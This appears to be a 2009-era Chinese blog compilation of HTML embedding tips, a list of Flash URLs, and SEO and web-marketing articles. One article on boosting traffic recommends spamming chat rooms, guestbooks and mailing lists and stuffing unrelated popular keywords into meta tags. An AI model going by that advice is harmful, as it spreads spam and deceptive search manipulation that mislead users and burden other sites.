代码中的图片地址就是网上以 .jpg .bmp .gif 结尾的网址,在网页的图片上点右键查看"属性"就可以看到地址和尺寸,"width"是宽度,"height"是高度。 具体做法:1、在网上搜索喜欢的图片或将自己喜欢的图片上传到网上,以获得一个图片的网址。我自己拍的图片,就是上传到网易相册后,取得图片网址的。2、顺序打开控制面板--个人首页维护--自定义空白面板--新增。3、输入图片名字,选中"显示源代码"。4、复制上面的代码到面板简介中。5、复制图片网址,替换代码中的"http://图片地址"。6、取消"显示源代码",点击"保存",返回。7、点击"定制我的首页"--"添加模块",选中你添加图片的名字,点击"选取"。8、用鼠标拖动你添加的图片上方的编辑横条,把图片放到你喜欢的导航栏位置,点击"保存设置"即可。





在博客中插入视频:
第一步、登陆自己的博客
第二步、点击发表文章选项
第三步、点选显示源代码
第四步、复制下面的代码到文章里面,注意用你选中的视频地址,替换代码中的视频链接地址。
<div align=left></div><embed src=视频链接地址 width=200 height=186 type=audio/mpeg loop="false" autostart="false">
设置和音乐一样"true"为自动播放,"false"为不自动播放,宽度width和高度height都可以自定义。
第五步、保存文章。
第六步、发表文章显示成功。
第七步、在首页会看到视频文章的效果

在文章中插入音乐:
<embed src="音乐地址" align="baseline" border="0" width="350" height="45" type="audio/x-pn-realaudio-plugin" console="LonelyStreet" controls="StatusBar,ControlPanel" autostart="false"></embed>




如何插入多个挂件
1*固定位置挂件的源代码:
<DIV style="RIGHT: 10px; ; TOP: 100px"><IMG src="图片地址" border=0></A></DIV>
说明:以上为右挂件代码,更换RIGHT(右)为LEFT(左),则为左挂件代码
2*(挂件)随滚动条上下移动的源代码:
<DIV style="BORDER-RIGHT: medium none; BORDER-TOP: medium none; ; RIGHT: +eval(document.body.clientWidth)-145); FILTER: progid:DXImageTransform.Microsoftpadding:8px; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none; ; ; TOP: +eval(document.body.clientHeight)-450); TEXT-ALIGN: center"><IMG src="图片地址" border=0></DIV>
代码说明:
(document.body.clientWidth)-145);表示图片的左右位置,负数值越大距离左侧越远
(document.body.clientHeight)-450);表示图片的上下位置,负数值越大距离下方越远 (-950)右边
具体操作如下所示:
控制面板----个人首页维护----自定义空白面板----新增----钩显示源代码----粘贴代码----去掉钩----保存
如果是新增的面板可以再接着点----左上角的 定制我的首页----添加模块----钩选----选取----保存
如何添加印章
控制面板----个人首页维护----自定义空白面板----新增----图片链接----保存
如果是新增的面板可以再接着点----左上角的 定制我的首页----添加模块----钩选----选取----保存
在百度中搜自己喜欢的印章的样式,把印章的地址复制下来贴在图片链接区上
如何添加透明动画
给你代码
<EMBED style="LEFT: 10px; ; TOP: -70px" align=right src=透明flash地址 width=700 height=400 type=application/x-shockwave-flash wmode="transparent" quality="high"

></EMBED>


这里挑选透明flash
http://www.flamesky.com/blog/user1/1595/archives/2005/5291.shtml
链接地址:
http://imgfree.21cn.com/free/flash/1.swf红色背景白色小流星
http://imgfree.21cn.com/free/flash/2.swf浅绿色背景亮色竖条
http://imgfree.21cn.com/free/flash/3.swf光球光芒时隐时现
http://imgfree.21cn.com/free/flash/4.swf米字星光
http://imgfree.21cn.com/free/flash/5.swf灰色背景米字星光
http://imgfree.21cn.com/free/flash/6.swf灰蓝背景飘落雨滴
http://imgfree.21cn.com/free/flash/7.swf黄色背景飞星闪闪
http://imgfree.21cn.com/free/flash/8.swf青蛙
http://imgfree.21cn.com/free/flash/9.swf蓝色蝴蝶
http://imgfree.21cn.com/free/flash/10.swf竖条箭头
http://imgfree.21cn.com/free/flash/11.swf宽窄竖条
http://imgfree.21cn.com/free/flash/12.swf左右晃动的竖条(宽、窄)
http://imgfree.21cn.com/free/flash/13.swf黑色背景旋转轮盘
http://imgfree.21cn.com/free/flash/14.swf蝌蚪旋转、随鼠标的白色光团
http://imgfree.21cn.com/free/flash/15.swf黑色背景绿色飘带幻影
http://imgfree.21cn.com/free/flash/16.swf 黄色背景飞舞的白色小星星
http://imgfree.21cn.com/free/flash/17.swf金鱼
http://imgfree.21cn.com/free/flash/18.swf蓝色背景水平飞镖
http://imgfree.21cn.com/free/flash/19.swf左右晃动的竖条
http://imgfree.21cn.com/free/flash/20.swf黑色背景水平闪动的横条
http://imgfree.21cn.com/free/flash/21.swf黑色背景光晕
http://imgfree.21cn.com/free/flash/22.swf光圈由小变大
http://imgfree.21cn.com/free/flash/23.swf蓝色背景雪花飘飘
http://imgfree.21cn.com/free/flash/24.swf左右闪动的竖条
http://imgfree.21cn.com/free/flash/25.swf三只黑蚂蚁
http://imgfree.21cn.com/free/flash/26.swf左右晃动的黄、绿、蓝竖线
http://imgfree.21cn.com/free/flash/27.swf无色背景水珠
http://imgfree.21cn.com/free/flash/28.swf黑色背景竖条
http://imgfree.21cn.com/free/flash/29.swf圆圈内海浪波动
http://imgfree.21cn.com/free/flash/30.swf黑色背景蓝色梦幻
http://imgfree.21cn.com/free/flash/31.swf黑色背景无数小亮点飘落
http://imgfree.21cn.com/free/flash/32.swf长发女孩
http://imgfree.21cn.com/free/flash/33.swf粉黄色5瓣花飘飘
http://imgfree.21cn.com/free/flash/34.swf
http://imgfree.21cn.com/free/flash/35.swf小星、大星光晕梦幻
http://imgfree.21cn.com/free/flash/35.swf紫色唇印升腾
http://imgfree.21cn.com/free/flash/36.swf上下闪动的横条
http://imgfree.21cn.com/free/flash/37.swf绿色、黄色的树叶飞舞
http://imgfree.21cn.com/free/flash/38.swf流星飞降
http://imgfree.21cn.com/free/flash/39.swf小+字旋转大光圈
http://imgfree.21cn.com/free/flash/40.swf大、小八瓣雪花飘落
http://imgfree.21cn.com/free/flash/41.swf紫色背景大、小八瓣雪花飘落
http://imgfree.21cn.com/free/flash/42.swf空中飘动的黄球
http://imgfree.21cn.com/free/flash/43.swf
http://imgfree.21cn.com/free/flash/44.swf
http://imgfree.21cn.com/free/flash/45.swf两只黄色的蝴蝶在左上角飞舞
http://imgfree.21cn.com/free/flash/46.swf一片浅粉色的云团
http://imgfree.21cn.com/free/flash/47.swf 箭头左右穿梭
http://imgfree.21cn.com/free/flash/48.swf一个光球从右上方慢慢飞入
http://imgfree.21cn.com/free/flash/49.swf飘落的浅粉色花瓣
http://imgfree.21cn.com/free/flash/50.swf晃动的文字"sweet kiss day"
http://imgfree.21cn.com/free/flash/51.swf三只飞舞的蜻蜓、闪闪的星光
http://imgfree.21cn.com/free/flash/52.swf黑色背景飘落的红叶
http://imgfree.21cn.com/free/flash/53.swf雪糕降落
http://imgfree.21cn.com/free/flash/54.swf绿色的心和I love you垂直降落
http://imgfree.21cn.com/free/flash/55.swf两只跳跃的青蛙
http://imgfree.21cn.com/free/flash/56.swf六边形、降落的竖条
http://imgfree.21cn.com/free/flash/57.swf燕鱼和水泡
http://imgfree.21cn.com/free/flash/58.swf光晕、光圈
http://imgfree.21cn.com/free/flash/59.swf浅兰背景白色大雁飞过
http://imgfree.21cn.com/free/flash/60.swf黑色背景降落的萤火虫
http://imgfree.21cn.com/free/flash/61.swf飞腾的红心
http://imgfree.21cn.com/free/flash/62.swf五彩礼花燃放
http://imgfree.21cn.com/free/flash/63.swf黄色的四瓣花飘落
http://imgfree.21cn.com/free/flash/64.swf浅蓝色的雪花在空中,小雪花降落
http://imgfree.21cn.com/free/flash/65.swf飘落的空心小兰圈
http://imgfree.21cn.com/free/flash/66.swf一只手的图形
http://imgfree.21cn.com/free/flash/67.swf由远而近飞来的流星
http://imgfree.21cn.com/free/flash/68.swf黑色背景飘落的雪花
http://imgfree.21cn.com/free/flash/69.swf七彩光光芒四射(全屏)
http://imgfree.21cn.com/free/flash/70.swf七彩光光芒四射(全屏)
http://imgfree.21cn.com/free/flash/71.swf闪动的小竖 还有许多 FLASH地址到这儿来看




这是透明背景flash特效,制作代码如下:
<EMBED style="LEFT: 10px; ; TOP: -70px" align=right src=透明flash地址 width=700 height=400 type=application/x-shockwave-flash wmode="transparent" quality="high"

></EMBED>
我的QQ空间
优化基础:网站URL优化要主意的十个细节
URL优化的重点就是把内容放在权重高的页面上,以下是各级目录的...
 
 

优化基础:网站URL优化要主意的十个细节

2009年3月20日星期五 | | 0 评论 |

   
 

URL优化的重点就是把内容放在权重高的页面上,以下是各级目录的权重比较。

1)目录的权重

虽然搜索蜘蛛会捉取3级目录及以上的页面,但是一级目录的权重高比二级的高许多。

2)描述性

整个URL包括域名,目录名和文件名,在可能的情况下,用具有描述性的单词,尤其是目录名和文件名。让用户看到URL,就可以大致了解这个网页是什么内容。

3)URL里面的关键词

在可能的情况下,目录名文件名可以放上一些关键词。Matt Cutts在他的一个帖子里面曾经暗示过,URL中的关键词多少对搜索引擎算法有用。

4)URL不可太长

虽然可以考虑在URL中放关键词,但最好不要为了放关键词,而把目录名文件名弄的很长。

5)用连词符

URL中目录名文件名单词之间最好用连词符"-",不要用下划线"_",也不要用其他允许但很奇怪的字符。连词符会被当作空格处理。

6)英文单词和拼音

对英文网站来说,当然URL中的描述性关键词比较好写。对中文网站可以考虑实使用拼音。但是对比较长的词,用拼音就不容易读懂,这种情况下还是建议使用英文单词。另外有的人把目录名文件名里面放上中文字,或者有时候有空格,这样的URL出现在浏览器地址栏的时候,都会变成一些编码字符。虽然搜索引擎可以辨识,但看起来很难看,不建议。

7)URL静态化

这几乎是必须的。别较真,不要争辩说有很多带有一两个问号的URL都收录的很好。能做的更好也很简单,就不要去跟做的不好的看齐。

8)二级域名和目录

二级域名在中文网站里面似乎很流行,原因是权重比目录好啊。

9)大小写

URL中最好统一全部使用大小写字母,像Unix/Linux服务器大小写字母是不同处理的,大小写混用也经常会造成混乱。

10)目录化的内容页

比如原来是 .com/seo.html,现在变成 com/seo/index.html 了效果会好很多的。

 
我的QQ空间
盛辉物流 清水河分公司 (0755)
盛辉物流  清水河分公司 (0755) 地址:深圳市罗湖区清...
 
 
   

认清SEO搜索优化的八个SEO黑帽方法

| | 0 评论 |

   

  SEO手法中,通常我们都分为黑帽白帽。为了网站的合理发展,使用正常手法优化网站,叫做白帽手法;而单纯为了收录量流量等数据进行作弊手法或者非友好手法进行的优化叫做黑帽手法。今天就简单说一下经常使用的一些黑帽手法,正所谓,知己知彼百战不殆么,以后网站合作的时候遇到作弊站点好规避风险。

  堆砌关键字

  追求关键词是作弊站点永远不变的话题,选定高流量的关键词以后,将关键词堆砌在网站当中,为了就是为了提高词语权重。堆砌的地方通常有:Title、Keywords、Description、网站内容等。

  滥用H标签

  大家都知道H标签在页面中有着比较高的权重,搜索引擎对于H标签中出现的关键词也会有所照顾,通常我们使用一个H1标签和若干能够清晰表现网站结构的 H2、H3标签就已经足够了。但是往往有些人在页面中使用不止一个H1标签,并且在H1标签中堆砌网站的核心关键词来提高词语权重。

  站群作弊

  通常使用程序生成大量的网站或者博客,这些站点需要有几个特点:站内堆砌的内容与关键词相关;含有大量的关键词链接指引到目标站点。使用这些站点来推动目标站点的关键词排名,获得更大的流量。

  制造海量页面

  使用程序和一些规则来生成海量页面,页面覆盖大量的关键词,相互之间也有密切的内链架构,这些垃圾页面仅仅是为了增加收录和覆盖关键词来吸引流量的。这种垃圾页面包括关键词链接内容页和桥页等形式。

  评论留言以及回帖的群发器

  由于互联网当中的网站很多都使用相同的开源程序,根据一些程序漏洞,有些人编写针对某种程序的群发软件,进行批量评论、留言或者回帖。这些留言当中包含有网站的链接和关键词锚文字等,只是为了增加网站的反链和关键词排名。

  隐藏外链

  有些SEO通过自己的工作之便在客户网站中植入自己的链接,也有些稍微高级的SEO通过入侵主机在别人的网站上增加自己的链接。不管怎么说,通过这些方法得到的反链分值都不是真实意愿的体现。

  隐藏指出链接

  有些人为了骗取单项链接,通常是与别人交换链接后,将别人的链接放在JS当中或者iframe当中,或者放置一段时间后将别人的链接撤下。总之是比较恨人啊。。

  PR劫持

  通过302手法截取网站的PR,然后利用假PR来交换反链或者出售链接等等。

  其实,以上的几个简单方法有些使用得当是可以合理提升网页权重的,但是优化过度,难免会被判定作弊了。通过黑帽手法进行优化的站点肯定是会被搜索引擎所惩罚的,所以在这里希望大家都能够使用正常手法优化站点,毕竟作弊手法只不过是短期效益,成不了什么大气候,更不用说能够学到什么知识了。

 

我的QQ空间
盛辉物流 清水河分公司 (0755)
盛辉物流  清水河分公司 (0755) 地址:深圳市罗湖区清...
 
 

新手必学,提供搜索引擎排名的几点注意事项

| | 0 评论 |

   
 
  以下几点意见供新手参考,对于初学者建站起到一定指导性作用,老鸟就不用看了,最基本最简单的搜索引擎排名应该注意以下几点。

  良好的内链

  通过增加内链提高搜索引擎排名。例如,写一篇有价值的文章,在其中的关键词上标注一个指向你的网站的链接可以促进网站排名。

  简洁明了的标题

  清晰简单的标题可以用户搜索相关的关键词时,让网站有机会列在搜索结果的前面。

  使用关键词做链接

  如果链接使用的是关键词,可以促进搜索排名。如果你的网站是关于搜索引擎优化的内容,就应该选择与之相关的词语。同样,在向目录网站提交文章时,也应该考虑这一点。
  
  有价值内容丰富的网站

  提高搜索排名另外一个关键因素是内容质量。提高网站排名的目的是为了吸引目标消费者。这些用户急于查找需要的内容,因此,如果你的网站内容能够满足他们的需求的话,无论是对访问者还是搜索引擎都会留下好印象。

  避免高关键词密度

  有时候网站无法排名很高,是因为关键词密度过高。关键词密度超过3%的情况下,在google上就很难取得较好的排名。3%意味着在400个字的文章里会出现11次关键词。因此,适当的密度可以促进搜索排名。

  太多图片

  搜索引擎只能阅读文字。它还需要一些时间才能具备阅读图片的能力。因此,提高搜索引擎排名应该避免使用太多的图片或动画。

 
我的QQ空间
盛辉物流 清水河分公司 (0755)
盛辉物流  清水河分公司 (0755) 地址:深圳市罗湖区清...
 
 
     

标准LOGO的设计和要求

| | 0 评论 |

   
 随便说一下 LOGO 请不要小看LOGO 其实挺有内容的!不知道你们是不是这样做LOGO

一、什么是LOGO

  翻开字典,我们可以找到这样的解释:" log n.标识语 "。在电脑领域而言,LOGO是标志、徽标的意思。而本站主要所收集的LOGO,是互联网上各个网站用来与其它网站链接的图形标志。 

二、LOGO的作用

  1.LOGO是与其它网站链接以及让其它网站链接的标志和门户。

  INTERNET之所以叫做"互联网",在于各个网站之间可以联接。要让其他人走入你的网站,必须提供一个让其进入的门户。而LOGO图形化的形式,特别是动态的LOGO,比文字形式的链接更能吸引人的注意。在如今争夺眼球的时代,这一点尤其重要。

  2.LOGO是网站形象的重要体现。

  试问一个衣冠楚楚的人怎么能让自己的名片污渍不堪?就一个网站来说,LOGO即是网站的名片。而对于一个追求精美的网站,LOGO更是它的灵魂所在,即所谓的"点睛"之处。

  3.LOGO能使受众便于选择。

  一个好的LOGO往往会反映网站及制作者的某些信息,特别是对一个商业网站来话,我们可以从中基本了解到这个网站的类型,或者内容。在一个布满各种LOGO的链接页面中,这一点会突出的表现出来。想一想,你的受众要在大堆的网站中寻找自己想要的特定内容的网站时,一个能让人轻易看出它所代表的网站的类型和内容的LOGO会有多重要。 

  三、LOGO的国际标准规范

  为了便于INTERNET上信息的传播,一个统一的国际标准是需要的。实际上已经有了这样的一整套标准。其中关于网站的LOGO,目前有三种规格:

  1.88*31 这是互联网上最普遍的LOGO规格,本站所收集的均是这种大小。
  2.120*60 这种规格用于一般大小的LOGO。
  3.120*90 这种规格用于大型LOGO。 

  四、LOGO的制作工具和方法

  好像目前并没有专门制作LOGO的软件,其实也并不需要这样的一种软件。我们平时所使用的图像处理软件或者还加上动画制作软件(如果你要做一个动画的LOGO的话)都可以很好地胜任这份工作,如PHOTOSHOP、FIREWORKS等。而LOGO的制作方法也和制作普通的图片及动画没什么两样,不同的只是规定了它的大小而已。 

  五、一个好的LOGO应具备的条件

  Poorfish认为,一个好的LOGO应具备以下的几个的条件,或者具备其中的几个条件:
  1.符合国际标准(废话)
  2.精美、独特
  3.与网站的整体风格相融
  4.能够体现网站的类型、内容和风格

 
我的QQ空间
盛辉物流 清水河分公司 (0755)
盛辉物流  清水河分公司 (0755) 地址:深圳市罗湖区清...
 
 

关于企业网络营销策划的8个注意事项

| | 0 评论 |

   

1、网站建设重设计轻应用

  建设企业网站是开展网络营销非常重要的一环。然而事实上,大部分企业网站都没有发挥出应有的网络营销作用。这跟企业对网站建设的认识是分不开的。多数企业认为网站是企业的网上门面,越漂亮越好。美工设计、Flash动画、企业形象成为企业最关注的地方,至于网站是否符合网络营销的需要,是否便于今后的功能增加或调整,并不考虑。部分网站建设服务商也一味迎合企业的喜好,在表现形式上大下功夫,拉高网站建设费用,至于内在功能和营销应用环节则不做深究。

  网站建设是服务于网络营销需要的,这一点一定要明确。网站建设应当设计与应用并重。既要注重企业的形象展示,更应明确网站的网络营销服务职能和流程,注重产品或服务展示、用户互动、信息检索、客户体验等环节的建设,使网站更加实用,有效。

2、盲目进行垃圾邮件营销、信息群发

  很多企业在面对网络营销的时候无所适从,不少企业选择了发送垃圾邮件,或进行信息群发到各类BBS、Blog和留言簿。虽然短期内,企业能够收到一些网络营销效果,比如网站访问量上升,能成交一些业务等,但从长远来看,企业所受到的伤害远大于所取得的网络营销效果。

  首先是企业形象受到损害。垃圾邮件深受网民所厌恶,围绕垃圾邮件的多数是一些皮包公司、缺乏诚信、产品品质低劣甚至是恶意欺诈、非法产品等形象。一旦企业与垃圾邮件为伍,其形象在消费者心目中则会大打折扣。

  其次企业一旦习惯于这种价格低廉、自身伤害性大的网络营销方式,盲目追求低付出高回报的畸形网络营销产品,缺乏对投资回报率的正确认识,将很难接受真正健康有益的网络营销服务和产品,错过网络营销机会和企业发展的时机。

3、网络营销产品跟风购买

  眼下的网络营销产品种类繁多,加上推销员巧舌如簧,企业在产品选择上面存在很大的困惑。我们往往可以发现一种现象,那就是一旦某个行业的几个企业使用了某种网络营销产品,那同行的其它企业则纷纷购买。

  不少网络营销服务商抓住了企业的跟风购买和攀比心理,通过行业客户见面会、网络营销产品某行业说明会等会议形式,充分发挥"客户见证"和"转介绍" 的技巧,使企业削弱了自己的判断,跟随他人的选择,或者攀比较劲,盲目购买。企赢营销,为企业提供一站式网络营销顾问服务。实践表明,适合自己的产品才是好的产品;跟风购买的网络营销产品往往不仅不是最适合的,反而因为使用过滥,导致网络营销效果越来越不好。

4、用搜索引擎竞价产品守株待兔

  目前Google、雅虎、百度等搜索引擎竞价产品是网络营销的主流产品,越来越多的企业选择搜索引擎竞价产品。多数企业购买竞价产品后并不知道还有维护这回事情,只是静待客户上门。做了一段时间下来就发现起初还有点效果,到后来效果就越来越差了。

  出现这种情况的原因就在于没有对其竞价产品进行维护。搜索引擎竞价的效果由多方面的因素组成,每日的消耗预算、关键词上词数量和报告分析等维护工作的好坏直接影响了搜索引擎竞价产品的效果。比如Google Adwords,很多人不理解Google为什么授权代理商来代理销售Google Adwords 产品。一方面这符合国内网络营销产品渠道销售为主的现状,另一方面也因为中国企业普遍网络应用水平不高,Google需要借助渠道的力量做好客户服务工作,提升销售业绩。我们的企业在使用竞价产品的时候,不应守株待兔,而是应选择有实力的服务商进行产品维护,提升网络营销效果。

5、网上营销与网下营销割裂

  网络营销是整体营销战略的一部分,是实现企业销售与盈利的重要手段,需要线上线下营销联动才能取得效果。不少企业认为互联网只是一个媒体,企业通过互联网把企业和产品宣传出去,提高品牌知名度和企业形象就算实现了网络营销。网络营销被划分到企业行政或客服部门来进行,营销部门和网络营销职能部门处于一种割裂的关系状态。这是一种不完整的网络营销意识。没有网下参与的网络营销不是真正的网络营销,也难以实现"营销"和"销售"这一最终的目的。

  其实网络营销的作用远不止这些,对于江浙一带的外贸型生产企业或许体会更深。他们或以自身网站为平台,或充分利用行业B2B平台、综合性B2B平台,进行销售线索的收集、潜在客户的挖掘,然后线下线上联动,最终达成交易,为企业创造利润。

6、盲目轻信搜索引擎优化

  搜索引擎的表现好坏直接影响了企业的网络营销效果,越来越多的企业也认识到了这一点。正规的搜索引擎优化可以让企业网站取得较好的搜索引擎排名。对于搜索竞价而言,搜索引擎优化无疑是价廉物美,具有很高的投资回报率。这使得部分企业盲目追求搜索引擎优化。

  搜索引擎优化的主要工作就是去琢磨各类搜索引擎的算法和排名规则,对网站进行"改造",以符合搜索引擎的口味,获得较好的排名结果。俗话说过犹不及,盲目轻信搜索引擎优化是很危险的一件事情。搜索引擎优化与作弊往往只有一步之差,一旦被判定作弊,不仅得不到理想的优化效果,还将得到搜索引擎的惩罚。

  适度的优化,能够使网站的结构更加科学高效。准确把握"以用户体验为中心"这一原则,努力去改善用户的感受,才是正确的网络营销思路。

7、信息采集一劳永逸

  现在信息采集是一种比较流行的"网络营销方法"。不少网站通过编写程序或使用采集软件,从其它网站中大量抓取所需要的网页信息,用来丰富自己的网站内容。通过这种方法,网站的内容快速丰富起来,搜索引擎收录页数也能快速增加,从而能够快速吸引访问者,把流量做起来,真可谓是一劳永逸的网络营销好方法。然而事实证明,没有哪个成功的网站是来自于信息采集的,成功的网络营销并没有这么简单。

  信息采集虽然能大量的收集到所需要的信息,但信息质量良莠不齐,且多数是互联网上高度重复的内容,搜索引擎并不买帐。对用户而言,也只是多了一个克隆的网站,没有什么吸引力。对于网站的经营还是得脚踏实地,做精品、原创的内容,积少成多,用心的培养忠诚用户,才能逐步走向成功。

8、网络营销未计划就上马

  很多企业一开始对网络营销并没有明确的认识。大多数企业主或经理人通过报纸、电视等媒体宣传以及朋友的介绍,或者推销员的鼓动,意识到应该进行网络营销,通过互联网来扩大自己的业务和销售。于是乎立即安排人员联系制作网站,发布信息,投入网络推广。整个网络营销过程未做计划就上马,一旦三个月下来网络营销没有什么效果,就宣布失败,对网络营销失去了信心和兴趣。

  殊不知,网络营销是一个系统工程,涉及到很多方面,需要结合自身的实际情况,进行需求分析,制订周密科学的计划,才能取得成功。从开展网站建设、企业信息发布,到制订推广预算,选择网络营销方法和产品,安排网络营销专职销售、客服等,各项工作安排到位,持之以恒,使企业的网络营销流程得以顺畅,这样才能最终取得理想的网络营销效果。

 
 
我的QQ空间
盛辉物流 清水河分公司 (0755)
盛辉物流  清水河分公司 (0755) 地址:深圳市罗湖区清...
 
 
 

事半功倍!提高网站流量的七个途径

| | 0 评论 |

   
 
  作为站长,做网站的第一步是想如何能把网站页面做的美观、直接、动人,这里不做阐述,当你网页内容版面规划设计的差不多的时候,你就会有足够的信心去推广你的网页。如何快速的增加流量?以下的方法是必不可少的,有些可能不是非常主流的做法,但是能起到事半功倍的作用。

1.主动宣传

  通过EMAIL、BBS等一些手段来宣传,如果你在网上浏览的时候见到聊天室就进去胡乱发几条你的主页信息,见到留言本就留言为你的主页做一些宣传,同样也可以使用一些邮件群发软件或者加入一些大的邮件列表来发布你的主页信息(使用邮件群发一定要注意文明用语,否则只会起到相反的效果)。这些办法尽管操作起来费时费力,但却是最能起直接效果的。

2.网站速度

  这个到底是不是属于主页推广的范畴暂时不去讨论,但网站的速度会影响到浏览量这却是千真万确的,甚至在某些方面,可以这么说,网站的访问量取决与网站的速度,当然,这个只是相对而言,设想一下,几分钟才打开一个页面的网站会有多少浏览者愿意多呆一秒呢?甚至会在页面还没完全打开时就已经失去耐心,这样就意味着你失去了一个本来已经很不容易才得到的浏览量。所以,一定要注意,在选择免费空间的时候,一定要选择速度最快的,当然,每个地方的速度都不一样,你可以通过调查综合考虑这些因素。

3.收藏夹

  毫无疑问,网站访问量的大小很大程度上取决与访问者的收藏夹,如何让你的网页添加到浏览者的收藏夹是个很值得你去花时间研究的问题。最普遍的无非是把你的网站做的更出色更吸引人,另外还能借助一些java使用弹出窗口提醒浏览者加入收藏夹,这个办法同样很有效。

4.使用HTML语言

  这个办法是针对搜索引擎而言的,方法是打开主页的源文件,在〈HEAD〉与〈/HEAD〉中加入代码〈 HTTP-EQUIV="Keywords"CONTENT="1,2,3,……,TEXT/HTML;CHARSET=gb2312"〉其中content后面的1,2,3,均是与主页主题内容相关的关键词(当然,你也可以选择一些热门词,即使你的主页里没有这些内容,这样总有点欺骗别人的感觉,但无论怎么说,这也是主页推广的好办法)。当一些搜索引擎工作时,您的关键词与搜索词如果相匹配,您的网址便成为搜索结果之一。所以要选择好关键词,而且越多越好,这样,你的网址就更容易被搜索到。

5.加入品网和网站排名

  如今网上越来越多的品网和排名网站,你可以见一个加入一个,这样对你的访问量是大有帮助的,如果你的网站做的够出色,自然就能获得很高的回报;另外就是一些零零总总的排行榜,赶快去加入吧,尽管可能你排在最后一位,但它却同样能给你带来众多访问量。

6、让用户自己创造内容

  如何让用户自己创造内容?这个的先决条件是是要让用户对你的网站内容产生兴趣,并且自愿地参与到其中来。那么我们就要了解用户为什么会到你的网站来,什么内容能够吸引用户。

  这个办法可以多样,以我的经验来讲,我增加了一个游戏频道,让长期在我网站泡坛子的用户参与游戏中,然后开辟独特的版块让玩家都参与讨论,这样,老用户带动新用户,新用户又变成老用户,网站自然就活跃了起来。也许有人说游戏频道说的容易,可做起来难,作为个人站长没有那么多人力财力开发专门的游戏。要知道在互联网社会,要保持OPEN的心态,比如现在有些游戏平台就专门提供游戏给网站论坛,比较好的有泡泡玩网页游戏平台union.popwan.com,至今网站加盟数有十多万。网站站长要做的,就是添加一个游戏频道,让玩家去玩游戏,不但可以增加网站黏度,增加口碑的流量,还能获得游戏分成,一举三得。

7.交换广告

  这个方法可能是最有用也最讲究技巧的方法了。你可曾想到过,你的主页本身也能给你带来访问量,我见过很多个人主页页面上空空的,何不利用这些宝贵的页面空间去带来更访问量呢?可能你还在抱怨你主页的内容太少,当然,加入免费的广告交换对与你的主页来说,不但能增加你主页的内容,而且更重要的是能给你带来更多的访问量。很多文章在讨论主页宣传的时候,对这一点往往是很忽略的,认为广告交换效果不理想。但你可知道,一个浏览者进入你的站点开始,他不但为你创造了一个访问量,而且,更重要的是他还能为你创造广告交换最基本的东西,你可以尝试把一些点击类的广告交换(通常为文本交换,isme,太极链等)放到网页的显眼位置,这样,当浏览者浏览完你的网页,他想离开的时候,如果这些广告交换有他感兴趣的内容,他会选择点击,而这一个点击又能给你带来一个浏览量。如此循环,你的访问量只会与日俱增。

  通过使用以上各种方法之后,你主页的访问量必定会有所增加,但还要注意的就是你的网站必需不断更新不断充实,哪怕是换个颜色,换几行字,这样才能在稳定访问量的基础上不断增加访问量。另外还有很多很多的技巧,需要你在不断实践中摸索,比如面对众多的广告交换,哪些才是对你最有用的,哪些的广告交换效果不理想,哪些友情链接效果好哪些不好等等,这些都是要你在不断实践中去熟悉掌握的。

我的QQ空间
盛辉物流 清水河分公司 (0755)
盛辉物流  清水河分公司 (0755) 地址:深圳市罗湖区清...
 
 


所有文章收集于网络,如果有牵扯到版权问题请与本站站长联系。谢谢合作![email protected]